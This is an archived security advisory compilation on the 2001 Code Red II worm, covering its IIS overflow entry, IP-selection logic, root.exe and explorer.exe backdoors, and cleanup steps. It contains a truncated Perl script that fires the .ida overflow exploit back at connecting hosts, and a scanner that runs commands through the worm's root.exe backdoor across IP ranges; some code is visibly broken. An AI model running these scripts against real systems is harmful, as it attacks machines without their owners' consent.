TUCoPS :: Malware :: codere~1.htm

The Code Red II worm

    CodeRed II


    many systems


    There is a new version of  Code Red which appears to be  spreading
    rather rapidly.
    - Appears to be a new re-write.
    - Drops some sort of remote access trojan.
    - Turns off System File Checker (Windows File Protection.)
    - Moves CMD.EXE to the scripts directory in IIS (\inetpub\scripts
      and \program files\common files\system\msadc)
    - Looks  like  the  way  they  make  the  entry  into  code   very
      differently than before.
    - If  your IDS  is looking  for "NNNN",  forget it  (but then  you
      should have been shot if you used this string anyway)

    Trojan's actions, modifying registry entries, will only work  when
    their explorer.exe is  invoked by a  member of the  Administrators
    group or  SYSTEM.   This does  not appear  to be  done by the worm
    itself (which is  running in SYSTEM  context), but relies  upon an
    interactive logon by a member  of the Administrators group.   With
    the  worm  making  copies  of  CMD.EXE  into  web  accessible  and
    executable directories, it would be possible to invoke the  Trojan
    explorer.exe but that would happen  in the context of IUSR,  which
    has insufficient permissions to make the registry changes.

    Further, if we assume the Trojan's intended infection vector was a
    logon by an Administrator,  only Windows 2000 machines  which have
    not applied SP2 or MS00-052 will run the Trojan program.

    It would seem that there is  a possible problem with the Code  Red
    virus affecting IIS server and MS Proxy, even if you have  applied
    the buffer-overflow patch.  People have experienced problems  with
    Proxy server stopping.

    Some code for begining:

    #!/usr/bin/perl -w
    #Code Red Counter Measures v1.0 by Digital Ebola <digi@legions.org>
    #Exploit ripped from rafa@box.sk

    #Breakdown: Basically this thing is going to sit on a port (80) and watch for incoming
    #webrequests. When it receives one, it will attempt to contact that machine, and overflow
    #via idq. This code is quite unfinished, and unrefined. I would like to add expect to it
    #and have it create a c:\notworm file on the attacking host. These are features to come.
    #The posted exploit by rafa@box.sk is untested by me, but I have tested this daemon, and
    #it does make get .ida requests.

    #TODO: 1. attack codered infections specifically
    #      2. add expect module, and logic needed to automatically copy con the c:\notworm file.
    #      3. test the damn thing.

    #Yes, I do know this kind of setup can be used for evil. That was my first intention, as old
    #habits die hard. Hopefully, this will stop alot of reoccuring infections, and I hope this
    #shows the goodness of my beliefs in good countermeasures. Hacker A releases evil code, Hacker
    #B releases good code to kill Hacker A's code.

    use POSIX;
    use IO::Socket;
    use Socket;

    #Shellcode ripped from rafa@box.sk
    @shellcode = ("\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c\x90\x90\x90",


    $port = "80";
    $offst = "0";
    $max_connections = "100";

    $server = IO::Socket::INET->new(LocalPort 	=> $port,
				    Listen		=> $max_connections )
	    or die "Couldn't start server on $port : $@\n";

    sub REAPER {
	    1 until (-1 == waitpid(-1, WNOHANG));
	    $SIG{CHLD} = \&REAPER;

    $SIG{CHLD} = \&REAPER;

    #while ($hisaddr = accept($client, $server)) {
    while ($client = $server->accept()) {
	    next if $pid = fork;
	    die "fork $!" unless defined $pid;
	    #otherwise child
	    close ($server);
	    $hisip = getpeername($client)
		    or die "Couldn't identify other end: $!\n";
	    ($hisport, $hisiaddr) = unpack_sockaddr_in($hisip);
	    $hisip = inet_ntoa($hisiaddr);
	    print $client "Your 0wned.";
	    print  $client "\n\n";

	    #rafa's code here too...
	    foreach $bufer(@shellcode) {
	    $send="$send$bufer"; }
	    $shit = "N"x230;
	    $othershit = "\x90"x11800;
	    $connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$hisip", PeerPort=>"80"); unless ($connect) { die "cant connect $hisip" }
	    print  $connect "GET /test.ida?$shit$offset[$offst] HTTP/1.0\nyahoo: $othershit$send";

    } continue {

    IBM ethernet switch  8275 model 416  reboots when scanned  by Code
    Red infected machines.

    Following  is  a  text  version  of  one  of our Incident Analysis
    Reports from the ARIS project.  Probably of most interest to  this
    mailing  list  is  the  section  down  a  ways  called  "technical
    Details".  Hope you find it useful.

    This worm takes advantage of the same vulnerability as the  widely
    publicized Code  Red worm.   This worm  is not  a variant  of Code
    Red,  however,  the  author  has  embedded  the string "CodeRedII"
    inside the code.   This would seem to  indicate that this worm  is
    in response to, or inspired by, the original Code Red worm.

    This worm has a more malicious payload, a backdoor access  method.
    It  leaves  a  copy  of  cmd.exe,  named  root.exe,  in a location
    accessible to the web server.  If successful, this will allow  any
    attacker  (not  just  the  worm  author)  access to the victim web
    server at a later date.

    This  worm  has  been  spreading  extremely  quickly.   It   takes
    advantage of the  same ISAPI Indexing  Service buffer overflow  as
    Code  Red.   However,  this  worm  is  a  bit more damaging, as it
    leaves a backdoor on the victim web server.  Once it has  infected
    a new victim, it  spreads out from there,  but it favors the  same
    address space as the current victim.  This turns out to be a  very
    effective  spreading   mechanism,  and   many  hosts   have   been
    compromised in a very short period of time.

    The original Code Red worm sends the following request during  the


    The new worm sends a very similar header:


    The  difference  is  that  it  uses  X  instead of N as its filler
    character.   The machine  code that  follows is  different between
    the two.

    By now, all the major IDS vendors have rules to catch the overflow
    attempts.  In addition, some  of the IDS' are spotting  the string
    "cmd.exe"   in   the   exploit   code,   and   alarming  on  that.
    SecurityFocus recommends  that you  update to  the latest  ruleset
    available for your IDS as soon  as possible.  Even if you  are not
    affected by  the attempts,  there are  efforts underway  to notify
    other Internet users that appear to be infected.

    Note  that  the  cmd.exe  attacks  have  a very sharp growth rate,
    while the  actual overflow  attacks remain  relatively flat.   The
    cmd.exe attacks are  new with this  worm (they didn't  appear with
    Code Red), while Code  Red tends to mask  the activity of the  new
    worm at present.

    The  new  worm  doesn't  favor  a  particular  language version of
    Windows  2000  for  attack.   In  fact,  it  attacks  all language
    versions, and if it  finds it is running  on a Chinese version  of
    Windows, it spawns twice as many threads.

    Following  technical  description  is  based  on  an  analysis and
    disassembly performed  by Marc  Maiffret and  Ryan Permeh  of eEye
    Digital  Security.   Their  full  analysis  and disassembly can be
    found at the following location:


    The  worm  has  three  sections:  The  infection  mechanism,   the
    propagation mechanism, and trojan component.

    When the  worm successfully  installs itself  on a  new victim, it
    goes through a number of initialization steps:
    * Obtains  the current  victim's IP  address (used  in propagation
      step, see below)
    * Checks to  see if the  system language is  Chinese (Taiwanese or
    * Checks for previous execution, if so then it jumps to propagation
    * Checks to see if the  "CodeRedII" atom has been set, if  so then
      sleep forever (kills new arrivals of same worm)
    * Adds the "CodeRedII" atom (if previous check failed)
    * Sets the number of worker threads to 300, or if it is a  Chinese
      system, 600.
    * Spawns a thread back at the first step, which will then jump  to
      propagation, since that will no longer be the first execution
    * Calls the trojan functions
    * Sleeps for 1 day on non-Chinese system, 2 on Chinese
    * Reboots the system (which will remove any memory resident worms,
      leaving only the backdoors and explorer.exe trojan)

    The  propagation  mechanism  is  the  most  novel  aspect  of this
    particular worm.  Here are the steps performed:
    * Check local time.  If it is less than the year 2002 and is  also
      less than  the 10th  month, then  continue.   Otherwise, reboot.
      This should limit the worm to  the end of September, 2001 if  it
      lives that long.
    * Sets  up  the  sockets  needed  to  connect  to other  potential
      victims.  Uses non-blocking  sockets, which gives a  performance
    * If it  gets a connect,  it sends a  copy of itself  (so far, all
      copies are identical, no self-modifying code)
    * Repeat

    The  most  interesting  piece  is  how  it selects a new victim IP
    address  to  try.   The  worm  generates  4  octets in the range 1
    through 254, to avoid IP addresses with a 0 or 255.  It takes  one
    of  these  bytes,  and  binary  ANDs  it with 7, yielding a random
    number between 0 and 7.  It then consults a table:

        dd 0FFFFFFFFh           ; 0 - addr masks
        dd 0FFFFFF00h           ; 1
        dd 0FFFFFF00h           ; 2
        dd 0FFFFFF00h           ; 3
        dd 0FFFFFF00h           ; 4
        dd 0FFFF0000h           ; 5
        dd 0FFFF0000h           ; 6
        dd 0FFFF0000h           ; 7

    which determines  how much  of the  randomly generated  IP address
    will be  used versus  the original  address.   For example,  if it
    generates a 5, then half will be random, and half will be the  old
    IP address.  If the current victim IP address is,  the
    new one to try might  be (byte order is  reversed in
    the machine code.)

    This has the  result that 3  times out of  8, it stays  within the
    equivalent of  a Class  B of  the attacker,  4 times  out of 8, it
    stays within a Class  A equivalent, and 1  time out of 8,  it goes
    after a completely random IP address.

    For the most part, the Internet address space is a sparse  matrix.
    Many of the  possible (and assigned)  addresses are not  reachable
    from  the  Internet.   Still  others  have  been  delegated  to  a
    particular ISP  or geographic  region, but  are not  yet in use by
    actual customers.   The result  is that  actual hosts  tend to  be
    bunched together in numerically-related netblocks.  The CodeRed II
    worm favors nearby  IP addresses which  tend to have  similar host
    types (i.e. Windows),  so it is  exhibiting a much  higher rate of
    growth than previous worms.  This also means that if it finds  its
    way onto an RFC1918 network, it would likely be much more damaging
    to that network than previous worms.

    It should  also be  noted that  the worm  takes measures  to avoid
    127.x.x.x and 224.x.x.x.  Finally, during the trojan step is  when
    the  backdoors  are  installed.   This  portion  has the following
    * Gets the system directory (usually c:\winnt\system32)
    * Appends cmd.exe to the string
    * Copies the resulting string (usually  c:\winnt\system32\cmd.exe)
      to                c:\inetpub\scripts\root.exe                and
    * Creates c:\explorer.exe
    * Goes back and repeats the steps for drive d: instead of c:

    The worm itself  is memory-resident only.   However, it may  leave
    behind files named root.exe,  in the script and  msadc directories
    under the  IIS webroot.   These should  of course  be deleted,  as
    they are copies of cmd.exe, and will permit remote access to  your
    web  server.   In  addition,  a  file  named  explorer.exe will be
    created in the root of c: and  d: if it exists.  This needs  to be
    removed, and the host rebooted.

    Here is more details about Infection steps performed by worm.

    A. The first thing the worm does is setup a jump table so that  it
       can get to all of its needed functions.

    B. The worm then proceedes to  get its local IP address.   This is
       later used to deal with subnet masks (propagation) and to  make
       sure that the worm does not reinfect the local system.

    C. Next, the  worm gets the  local System Language  to see if  the
       local system is running Chinese (Taiwanese) or Chinese (PRC).

    D. At this point the worm checks if we've executed before, and  if
       so,  then  the  worm  will  procede to the propagation section.
       (propagation section)

    E. Next, the worm will check  to see if a CodeRedII atom  has been
       placed (GlobalFindAtomA).   This functionality allows  the worm
       to make sure not  to re-infect the local  machine.  If it  sees
       that the atom exists then it sleeps forever.

    F. The  worm will  add a  CodeRedII atom.   This is  to allow  the
       worm the functionality to check to see if a system has  already
       been infected with the worm.

    G. The worm now sets its number of threads to 300 for  non-Chinese
       systems.  If the system is Chinese then it sets it to 600.

    H. At this point  the worm spawns a  thread starting back at  step
       A.   The worm  will spawn  threads according  to the number set
       from G.  Each new thread will be a propagation thread.

    I. This is where the worm calls the trojan functionality.  You can
       find an  analysis of  the trojan  mechanism down  below in  the
       Trojan System section.

    K. The  worm then  sleeps for  1 day  if the  local system  is not
       Chinese, 2 days if it is.

    L. Reboot Windows.

    For steps of propagation, this is used to spread the worm further.

    A. Setup  local  IP_STORAGE  variable.   This  is  used  for  worm
       propagation functionality  and to  make sure  not to  re-infect
       the local system.

    B. Sleep for 64h miliseconds

    C. Get local system time.  The  worm checks to see if it the  year
       is less than 2002 or if the month is less than 10. If the  date
       is beyond  either of  those, then  the worm  reboots the  local
       system.   That  basically  limits  the  worm  to  10/01 for its
       spreading (In a perfect world.)

    D. Setup SockAddr_in.  This will reference the GET_IP section.

    E. Setup  Socket:   This performs  a Socket(),  stores the handle,
       then  makes  it  a  non-blocking  socket (this is important for
       speed dealing with connect() calls)

    F. Connect  to  the  remote  host,  if it returns a connect  right
       away, goto H.

       The following is how the worm generates the  IP address for the
       next host to connect to:

        GET_IP:                                 ; CODE XREF: sub_1C4+168p

        call    GET_OCTET       ; load 4th octet (this is in reverse ordwer due to
        byte ordering)
        mov     bh, al
        call    GET_OCTET       ; get 3rd octet
        mov     bl, al
        shl     ebx, 10h        ; shift bx to the top of ebx
        call    GET_OCTET       ; get 2nd octet
        mov     bh, al
        call    GET_OCTET       ; 1st
        mov     bl, al
        call    GEN_OCTET       ; get first octet
        and     eax, 7          ; and it by 7
        call    CHECK_ADDR_MASK ; ecx has eip

       For each  octet, generate  a psuedo  random byte  between 1 and
       254, next get a random octet  between 1 and 254 and mask  it by
       7 finally, use this last byte to gen a 1st octet.

       Most pertinent bit is CHECK_ADDR_MASK

       This specifies the following:

        dd 0FFFFFFFFh           ; 0 - addr masks
        dd 0FFFFFF00h           ; 1
        dd 0FFFFFF00h           ; 2
        dd 0FFFFFF00h           ; 3
        dd 0FFFFFF00h           ; 4
        dd 0FFFF0000h           ; 5
        dd 0FFFF0000h           ; 6
        dd 0FFFF0000h           ; 7

       This  mask  is  applied  to  the  local systems IP address, and
       matched  to  the  generated  IP  Address.   This makes a new ip
       with 0,1 or 2 bytes of data with the local ip.

       For instace, the worm will 1/8th of the time generate a  random
       IP not within any ranges of the  local IP  Address.   1/2th  of
       the time, it will  stay within the   same class A range  of the
       local IP Address 3/8th of the   time, it will stay  within  the
       same class  B range of the local IP Address

       Also note that if the IP   the  worm  generates  is  127.x.x.x,
       224.x.x.x, or the same as the local systems IP address then the
       worm will skip that IP address and generate a new IP address to
       try to infect.

       The way the worm generates IP addresses allows  it to find more
       possible IIS web servers  quicker  then the other CodeRed worms
       that have  previously been  released.   This new  worm is  also
       going to cause a lot more data to be zig zaged across networks.

    G. Do a select to get  the handle. If no handle is  returned, then
       goto K.

    H. Set socket to Blocking. This is so select isn't required  after
       the connect.

    I. Send a copy of the worm.

    J. Do a recv. this is not actually used anywhere.

    K. Close the socket and loop to A.

    This portion of  the worm is  designed to dump  root.exe (root.exe
    is cmd.exe)  into msadc  and scripts,  and create  a trojan on the
    local drive.

    A. Get  System directory,  this gets  the native  system directory
       (ie, c:\winnt\system32)

    B. Append cmd to the system directory string (c:\winnt\system32\cmd.exe)

    C. Set drive modifier to c:

    D. copy cmd.exe to /scripts/root.exe (Actual path: Drivemodifier:\inetpub\scripts\root.exe)

    E. copy cmd.exe to /msadc/root.exe (Actual Path: DriveModifier:\progra~1\common~1\system\MSADC\root.exe)

    F. Intitialize area for explorer.exe

    G. Create Drive/explorer.exe (drive is c, then d)

    H. The  worm now  writes out  explorer.exe. There  is an  embedded
       binary  within   the  worm   that  will   be  written   out  to
       explorer.exe.  It has the property that if an embedded byte  is
       0xFC, it geplaced by 20h 0x00 bytes instead of the regularbyte.
       For more on what the trojan explorer.exe binary does then  goto
       the Explorer.exe  Trojan section.   Also the  way NT  works  is
       that when  a user  logs into  the local  system it  has to load
       explorer.exe (desktop,  task bar  etc...) however  NT looks for
       explorer.exe first in the main  drive path c:\ which means  the
       trojan explorer.exe is going to be loaded the next time a  user
       logs  in...   therefore  keeping  the  system trojaned over and
       over and over.

    I. close explorer.exe

    J. Change  drive modifier  to D,  then the  worm goes  back to the
       code in step D.  After it  is done then it goes back to  step k
       of the infection process.

    explorer.exe quick overview:
    1. Get local systems windows directory.
    2. Execute  explorer.exe  from  within  the local systems  windows
    3. The worm now goes into the following loop:

        set SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable to
        0FFFFFF9Dh, which basically disables system file protection.
        set SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\Scripts to ,,217
        set SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\msadc to ,,217
        Set SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\c to c:\,,217
        Set SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\d to d:\,,217
        sleep for 10 minutes

    Basically the above  code creates a  virtual web path  (/c and /d)
    which maps /c to c:\ and /d  to d:\.  The writer of this  worm has
    put in this functionality to allow for a backdoor to be placed  on
    the system  so even  if you  remove the  root.exe (cmd.exe prompt)
    from your /scripts folder an attacker can still use the /c and  /d
    virtual  roots  to  compromise  your  system.  The  attacks  would
    basically look like:


    (if root.exe was still there) or:


    Where dir could be any command an attacker would want to execute.

    As long  as the  trojan explorer.exe  is running  then an attacker
    will be able to remotely access your server.

    It appears that most  of the CRII and  III traffic is coming  from
    W2K servers from home user machines.

    Here is the scanner for root.exe:

    # domscan heavily modified to find root.exe on any number       #
    # of hosts. Although not the quickest scanner it's better       #
    # than searching by hand, no?                                   #
    # Also you can play with the timeout to your likeings. I just   #
    # chose 2 because of slow webservers. Feel free to try 1.       #
    # if you modify this please put my email on it, and send me     #
    # the revised code.                                             #
    # written by: idawson@athenasecurity.com.                       #
    # (domscan written by Pavel Aubuchon-Mendoza, 1998              #
    # root@deviance.org, http://www.deviance.org/                   #
    # give props to him because his ip scheme is sweet ;).          #
    # Usage: ./rootscan             #
    use IO::Socket;
    $start = $ARGV[0];
    $end = $ARGV[1];
    $EOL = "\015\012";
    $BLANK = $EOL x 4;

    if($start eq "" || $end eq "") { &usage; }

    print "Show every connection attempt [y/n]?: ";
    if ($verbose eq "y")
         $verbose = 1;
      } else {
         $verbose = 0;
         print "\n\nPlease wait for results...\n"

    @ip1 = split(/\./,$start);
    @ip2 = split(/\./,$end);
    $numip1 = &countelm(@ip1);
    $numip2 = &countelm(@ip2);

    if($numip1 ne 4 || $numip2 ne 4) {
     print "\nMalformed Ip address!\n";
     die "Breaking on bad IP";

    $ip1 = (($ip1[0]*16777216)+($ip1[1]*65536)+($ip1[2]*256)+$ip1[3]);
    $ip2 = (($ip2[0]*16777216)+($ip2[1]*65536)+($ip2[2]*256)+$ip2[3]);

    if($ip2 < $ip1) { die "Way to type cap'n..."; }

    print "\nroot.exe Scanner Written by: idawson\@athenasecurity.com\n";
    print "Scanning from $start to $end\n\n";

    $cip = $ip1;
    $eip = $ip2+1;

     $log = "$start.log";
     open(FOUND, ">>$log") || warn "can't log to $log: $!";
     @dirs = ("/msadc", "/scripts");
     @found = ();
     $i = 0;
     while($cip ne $eip)
     @bytes = &getquad($cip);
     $target = "$bytes[0]\.$bytes[1]\.$bytes[2]\.$bytes[3]";
     foreach $dirs (@dirs)
           $flag = 0;
            @res = ();
            $results = ();
            if ($verbose == 1) { print "\nTrying $target$dirs/root.exe\t"; }
            $host = $target;
            $port = 80;
            $sock = new IO::Socket::INET(PeerAddr => $host,
                                          PeerPort => $port,
                                          Timeout => 2,
                                          Proto => 'tcp');
            if(!$sock) { $flag = 0;
                         if ($verbose == 1) { print "Can't Connect";}
            } else {
            $SIG{ALRM} = sub { die "Timed Out"; };
            eval {
              $cmd = "GET $dirs/root.exe?/c+dir HTTP/1.0$BLANK";
              print $sock "$cmd";
              read $sock, $results, 1000;
              alarm(0);  # cancel pending alarm
            if ($@ =~ /Timed Out/) {
            print "Timed out\n";
            } else {
            @res = split(/\n/, $results);
            if ($res[0] =~ /HTTP\/1.1 200/)
                 $found[$i] = ("$target$dirs\n");
                 $flag = 1;
                 print FOUND "$found[$i]\n";
                 if ($flag == 1 && $verbose == 1)
                   {  print "\tFound\n";

             if ($flag == 0 && $verbose == 1) { print "\tNot Found\n"; }
    @flog = (
            "IP\(s\) with root.exe backdoor:",

    print join("\n",@flog) . "\n";
    print @found;


    sub getquad {
     my($ip) = @_;
     $bytes[0] = int $ip/16777216;
     $rem = $ip % 16777216;
     $bytes[1] = int $rem/65536;
     $rem = $rem % 65536;
     $bytes[2] = int $rem/256;
     $rem = $rem % 256;
     $bytes[3] = $rem;

    sub usage {
     print "root.exe scanner for help locating cr2 backdoor.\n\n";
     print "coded by:idawson\@athenasecurity.com";
     print "\nSyntax:\n\n";
     print "    $0 [starting IP] [ending IP]\n\n";
     print "    Ex : $0\n\n\n";
     die "Invalid syntax.\n";

    sub countelm {
     my(@ip) = @_;
     $count = 0;
     while($ip[$count] ne "") {

    It  has  been  confirmed  that  despite  being  patched,  some NT4
    servers are  subject to  crashing when  processing URLS  from Code
    Red and  its variants.   This occurs  on patched  NT4 servers that
    use  redirection.   W2K  is  not  affected.   Those  of  you using
    redirection  enabled  in  the  IIS  Snap-in  should take immediate
    action to ensure you are not vulnerable to this problem.  This  is
    not a problem if you use scripting to redirect your site or pages.

    For those of  you with Xerox  N40 printers that  have been falling
    over on  the Code  Red worm  scan, Xerox  has a  firmware upgrade.
    Call Xerox support  at 800-835-6100, push  1, push 1,  and ask for
    the 1.87-25 version of the firmware.

    There's a common misconception  floating around that Windows  2000
    Professional cannot be participating in the Code Red issue.   This
    is flat out wrong!

    Its believed that PWS (Personal Web Server) on W2K Professional is
    somehow *not* IIS 5.0  (Internet Information Services 5.0).   This
    is flat out wrong!

    PWS  on  W2K  **IS**  IIS  5.0.   The difference between these two
    "products" is not in the  code that they operate, or  the features
    they support, its strictly within the Management Interface.

    PWM,  or  Personal  Web  Manager,  is an executable which provides
    limited control over  the web server.   Internet Services  Manager
    is the full-blown MMC snap-in which provides all control over  the
    web server.

    Either can be used on  a W2K Professional Box which  has installed
    IIS (or PWS).  They can be  found on such  a box in  the following

        Personal Web Manager --> %SystemRoot%\system32\inetsrv\pws.exe
        Internet Services Manager --> %SystemRoot%\System32\Inetsrv\iis.msc

    Neither PWS or IIS are installed by default on a W2K  Professional
    **CLEAN  INSTALL**.   If  a  Windows  NT  4.0 Workstation box with
    Personal  Web  Server  installed  is  upgraded  to  Windows   2000
    Professional, then  by default  IIS 5.0  will be  installed.  When
    IIS is  on a  W2K Professional  box, by  default, it  has .ida and
    .idq script mappings in  place and IDQ.DLL is  there too.  So,  if
    they aren't patched, or the  MMC Snap-in isn't used to  remove the
    mappings (you  can't remove  the mappings  through PWM),  then the
    box can be infected and will participate in Code Red attacks.

    IIS is also installed by default on W2K Professional boxes if  you
    install Visual Studio's Visual Interdev.  Its used to  test/create
    web applications.

    Other reports are  indicating that a  new variant of  Code Red has
    been uncovered  in Korea.  For the  record, here  is the numbering

        CRv1 = July 13th, 2001 - in the wild
        CRv2 = July 19th, 2001 - in the wild
        CRv3 = July 21st, 2001 - reportedly with FBI/NIPC - not in the wild
        CRv4 = August 4th, 2001 - in the wild

    CRv4 had the string CRII embedded in its code, so it became  known
    as Code Red II, hence the confusion of versions/variants.

    CRv4 had  a component  which caused  it to  double its  effects on
    Chinese Language W2K  systems.  It  would produce 600  threads and
    run for 48 hours.  Its  suspected that this may be the  reason the
    Korean Government  is thinking  its seeing  another variant  other
    than what's being discussed in the press.


    If  the  Trojan  has  been  run,  then you should consider the box
    totally  compromised  and  reformat   after  removing  data   (not
    executables).  There's  no real way  to be sure  of anything on  a
    box upon  which the  Trojan has  run and  succeeded in  its effect
    (added the two  virtual web directories  and disabled System  File

    If it hasn't been run, the system should be in good shape.   Check
    the registry  key for  SFCDisable and  remove the  ROOT.EXE's from
    the two directories.

    For  cisco  677  and  678  routers  (and 675) being crashed by the
    codered worm. Here is how to avoid it if not patch it:

        - telnet to the router
        - password
        - enable
        - password
        - set web port 28000
        - write
        - reboot

    This should pretty much make the  worm a non issue for any  of the
    675, 677 or 678 routers  it's crashing regardless of what  version
    of cbos they are running.  Chech following:


    Microsoft posted  on their  web site  a tool  that can  be used to
    clean up the obvious  effects of the Code  Red II worm.   The tool
    performs the following operations:
    - It removes the malicious files installed by the worm
    - It reboots the system to clear the hostile code from memory
    - It  removes the  mappings that  the worm  is currently  known to
    - For systems where IIS was  enabled, but not in use, it  provides
      an option to permanently disable IIS on the server.

    The tool and instructions for its use can be found at


    Because of  potential timing  issues caused  by the  way the  worm
    operates, the tool should be run a second time after the reboot.

    Code Red Cleaner first try to detect if Code Red Worm is active in
    memory and report it.  After  that if worm is discovered it  finds
    files of worm on the disk  and clean-all them.  It stops  the IIS,
    removes the  execute permission  of some  directories on  registry
    and if sp2  is installed it  applies the appropriate  patches.  It
    detects Code Red I,II,III versions and clean up them:


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH